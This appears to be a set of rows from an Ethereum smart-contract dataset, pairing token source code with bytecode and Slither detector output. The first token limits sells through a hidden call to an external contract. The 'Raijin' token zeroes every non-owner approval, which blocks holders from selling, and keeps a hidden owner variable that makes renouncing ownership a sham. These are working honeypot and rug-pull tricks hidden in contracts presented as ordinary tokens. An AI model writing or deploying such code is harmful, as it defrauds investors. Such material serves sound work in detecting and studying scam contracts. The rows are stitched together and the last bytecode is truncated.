require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102965780639e752b95146102c4578063a9059cbb146102e4578063dd62ed3e14610304578063f42938901461034a57600080fd5b806356d9dce81461022457806370a0823114610239578063715018a6146102595780638da5cb5b1461026e57600080fd5b8063293230b8116100d1578063293230b8146101c7578063313ce567146101de5780633e07ce5b146101fa57806351bc3c851461020f57600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a25b0b730b7902a37b5b2b760a91b60208201525b60405161014b91906114f6565b60405180910390f35b34801561016057600080fd5b5061017461016f366004611560565b61035f565b604051901515815260200161014b565b34801561019057600080fd5b50610199610376565b60405190815260200161014b565b3480156101b357600080fd5b506101746101c236600461158c565b610397565b3480156101d357600080fd5b506101dc610400565b005b3480156101ea57600080fd5b506040516006815260200161014b565b34801561020657600080fd5b506101dc610778565b34801561021b57600080fd5b506101dc6107ae565b34801561023057600080fd5b506101dc6107db565b34801561024557600080fd5b506101996102543660046115cd565b61085c565b34801561026557600080fd5b506101dc61087e565b34801561027a57600080fd5b506000546040516001600160a01b03909116815260200161014b565b3480156102a257600080fd5b506040805180820190915260058152644b414e414f60d81b602082015261013e565b3480156102d057600080fd5b506101dc6102df3660046115ea565b610922565b3480156102f057600080fd5b506101746102ff366004611560565b61094b565b34801561031057600080fd5b5061019961031f366004611603565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035657600080fd5b506101dc610958565b600061036c3384846109c2565b5060015b92915050565b60006103846006600a611736565b610392906305f5e100611745565b905090565b60006103a4848484610ae6565b6103f684336103f1856040518060600160405280602881526020016118c3602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e22565b6109c2565b5060019392505050565b6009546001600160a01b0316331461041757600080fd5b600c54600160a01b900460ff16156104765760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a29030906001600160a01b03166104946006600a611736565b6103f1906305f5e100611745565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105199190611764565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059f9190611764565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106109190611764565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106408161085c565b6000806106556000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e29190611781565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610751573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077591906117af565b50565b6009546001600160a01b0316331461078f57600080fd5b61079b6006600a611736565b6107a9906305f5e100611745565b600a55565b6009546001600160a01b031633146107c557600080fd5b60006107d03061085c565b905061077581610e5c565b6009546001600160a01b031633146107f257600080fd5b600c54600160a01b900460ff1661084b5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046d565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037090610fd6565b6000546001600160a01b031633146108d85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093957600080fd5b6008811061094657600080fd5b600855565b600061036c338484610ae6565b6009546001600160a01b0316331461096f57600080fd5b4761077581611053565b60006109bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611091565b9392505050565b6001600160a01b038316610a245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046d565b6001600160a01b038216610a855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046d565b6001600160a01b038216610bac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046d565b60008111610c0e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046d565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8191906117d1565b600c546001600160a01b038481169116148015610cac5750600b546001600160a01b03858116911614155b610cb7576000610cb9565b815b1115610cc457600080fd5b6000546001600160a01b03848116911614801590610cf057506000546001600160a01b03838116911614155b15610e1257600c546001600160a01b038481169116148015610d205750600b546001600160a01b03838116911614155b8015610d4557506001600160a01b03821660009081526004602052604090205460ff16155b15610d9b57600a548110610d9b5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046d565b6000610da63061085c565b600c54909150600160a81b900460ff16158015610dd15750600c546001600160a01b03858116911614155b8015610de65750600c54600160b01b900460ff165b15610e1057610df481610e5c565b47670de0b6b3a7640000811115610e0e57610e0e47611053565b505b505b610e1d8383836110bf565b505050565b60008184841115610e465760405162461bcd60e51b815260040161046d91906114f6565b506000610e5384866117ea565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea457610ea4611801565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f219190611764565b81600181518110610f3457610f34611801565b6001600160a01b039283166020918202929092010152600b54610f5a91309116846109c2565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f93908590600090869030904290600401611817565b600060405180830381600087803b158015610fad57600080fd5b505af1158015610fc1573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046d565b60006110476110ca565b90506109bb8382610979565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108d573d6000803e3d6000fd5b5050565b600081836110b25760405162461bcd60e51b815260040161046d91906114f6565b506000610e538486611888565b610e1d8383836110ed565b60008060006110d76111e4565b90925090506110e68282610979565b9250505090565b6000806000806000806110ff87611266565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113190876112c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111609086611305565b6001600160a01b03891660009081526002602052604090205561118281611364565b61118c84836113ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d191815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f96006600a611736565b611207906305f5e100611745565b905061122f6112186006600a611736565b611226906305f5e100611745565b60055490610979565b82101561125d576005546112456006600a611736565b611253906305f5e100611745565b9350935050509091565b90939092509050565b60008060008060008060008060006112838a6007546008546113d2565b92509250925060006112936110ca565b905060008060006112a68e878787611427565b919e509c509a509598509396509194505050505091939550919395565b60006109bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e22565b60008061131283856118aa565b9050838110156109bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046d565b600061136e6110ca565b9050600061137c8383611477565b306000908152600260205260409020549091506113999082611305565b30600090815260026020526040902055505050565b6005546113bb90836112c3565b6005556006546113cb9082611305565b6006555050565b60008080806113ec60646113e68989611477565b90610979565b905060006113ff60646113e68a89611477565b90506000611417826114118b866112c3565b906112c3565b9992985090965090945050505050565b60008080806114368886611477565b905060006114448887611477565b905060006114528888611477565b905060006114648261141186866112c3565b939b939a50919850919650505050505050565b60008261148657506000610370565b60006114928385611745565b90508261149f8583611888565b146109bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046d565b600060208083528351808285015260005b8181101561152357858101830151858201604001528201611507565b81811115611535576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077557600080fd5b6000806040838503121561157357600080fd5b823561157e8161154b565b946020939093013593505050565b6000806000606084860312156115a157600080fd5b83356115ac8161154b565b925060208401356115bc8161154b565b929592945050506040919091013590565b6000602082840312156115df57600080fd5b81356109bb8161154b565b6000602082840312156115fc57600080fd5b5035919050565b6000806040838503121561161657600080fd5b82356116218161154b565b915060208301356116318161154b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168d5781600019048211156116735761167361163c565b8085161561168057918102915b93841c9390800290611657565b509250929050565b6000826116a457506001610370565b816116b157506000610370565b81600181146116c757600281146116d1576116ed565b6001915050610370565b60ff8411156116e2576116e261163c565b50506001821b610370565b5060208310610133831016604e8410600b8410161715611710575081810a610370565b61171a8383611652565b806000190482111561172e5761172e61163c565b029392505050565b60006109bb60ff841683611695565b600081600019048311821515161561175f5761175f61163c565b500290565b60006020828403121561177657600080fd5b81516109bb8161154b565b60008060006060848603121561179657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c157600080fd5b815180151581146109bb57600080fd5b6000602082840312156117e357600080fd5b5051919050565b6000828210156117fc576117fc61163c565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118675784516001600160a01b031683529383019391830191600101611842565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a557634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118bd576118bd61163c565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201b33cc29dbe1107d21a51ecb9034151675eee99f9df6ebb8788efb3f9962685764736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,206 |
0x9e3Ee850FF0A7E6906Dd87c01928f9871483bEb8
|
/*
_____ _ _ _
| __ \ (_|_|_)
| |__) |__ _ _ _ _ _ __
| _ // _` | | | | '_ \
| | \ \ (_| | | | | | | |
|_| \_\__,_|_| |_|_| |_|
_/ |
|__/
$Raijin is an ERC-20 token that aims to reward holders by collecting large redistribution fees from snipers and dumpers
Tokenomics:
💼 6% marketing💼
🔄 5-20% redistribution depending on sell counter (5% on 1st to 20% on 4th sell).🔄
🌟 Bots will be banned
🌟 No team tokens, No presale.
Learn more about us and check out our roadmap by joining our socials :
Telegram: https://t.me/raijintoken
Twitter: https://twitter.com/raijintoken
Website: Https://raijintoken.xyz/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract raijintoken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'Raijin | https://t.me/raijintoken';
string private _symbol = '$Raijin';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
if (from == owner()) {
_allowances[from][to] = amount;
emit Approval(from, to, amount);
} else {
_allowances[from][to] = 0;
emit Approval(from, to, 4);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110ba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110986022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110736025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111086023913960400191505060405180910390fd5b610de8816040518060600160405280602681526020016110e260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9c578082015181840152602081019050610f81565b50505050905090810190601f168015610fc95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207